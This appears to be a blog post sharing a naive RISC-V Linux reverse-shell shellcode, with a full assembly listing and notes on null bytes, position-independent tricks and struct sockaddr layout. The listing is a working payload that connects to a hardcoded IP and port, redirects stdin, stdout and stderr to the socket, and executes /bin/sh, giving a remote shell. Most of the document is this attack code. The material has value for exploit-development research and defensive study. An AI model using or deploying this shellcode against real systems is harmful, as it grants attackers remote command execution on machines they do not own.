A Naive RISC-V Linux Reverse Shell

Here I want to share a simple script that generates a reverse shell to a given IP address and port. I decided to call it naive—it’s not obfuscated at all and it’s full of ECALL instructions, which means nulls. This is probably only applicable in situations where there are no badchars at all. On the bright side it’s fairly compact. There are ways the badchar situation could be improved but I think it will depend on the execution context much more than x86. In any case, this is the starting point.

rv-naive-revshell.py — Python 3 generator script

This is the shellcode (86 bytes):

        .global _start
        .text

_start:
        li a0,2         # AF_INET
        li a1,1         # SOCK_STREAM
        li a2,0         # protocol = 0 for tcp
        li a7,198       # socket
        ecall

        mv t0,a0        # save socket fd to t0
        jal a1,get_sa   # load sockaddr ptr into a1
connect:
        li a2,16        # len(sockaddr) - final 8 bytes are garbage
        addi a7,a7,5    # 203 = connect
        ecall

        li a2,0         # flags
        li a1,2         # destination fd 2
        li a7,24        # dup3
re_dup3:
        mv a0,t0        # specify the socket we want to dup
        ecall

        addi a1,a1,-1   # decrement fd and continue until <0
        bgez a1,re_dup3

        jal a0,get_path # load pathname string ptr into a0
execve:
        li a1,0         # null argv
        li a2,0         # null envp
        li a7,221       # execve
        ecall

get_path:
        jal a0,execve
        .ascii "/bin/sh\0"

get_sa:
        jal a1,connect
sockaddr:
        .byte 0x02, 0x00
        .byte 0x11, 0x5c                # port
        .byte 0x7f, 0x01, 0x01, 0x01    # ip

All of this is very similar to other reverse shells but there are some things to point out:

  • RISC-V is flexible for loading small immediate values, including zero. A 6-bit signed number can be loaded into a register using the C.LI instruction from the compressed instruction set. This instruction occupies 2 bytes and will never contain any nulls, regardless of which register or immediate value is used.
  • Pushing large chunks of data onto the stack is tedious and requires a lot of instructions. That is why I included both the shell path and the struct sockaddr as binary at the end.
  • The get_path and get_sa routines are the equivalent of the jmp-call-pop technique to determine the program counter value, except using link registers instead of the stack.
  • To fit the definition of a struct sockaddr it is necessary to specify its length as 16. In practice the memory following the address isn’t relevant for IP so I get away with only defining the first 8 bytes.
  • It is critical that the binary values at the end are an even number of bytes. If the .ascii had only 7 bytes, the following jal instruction would be misaligned and it would be impossible to assemble.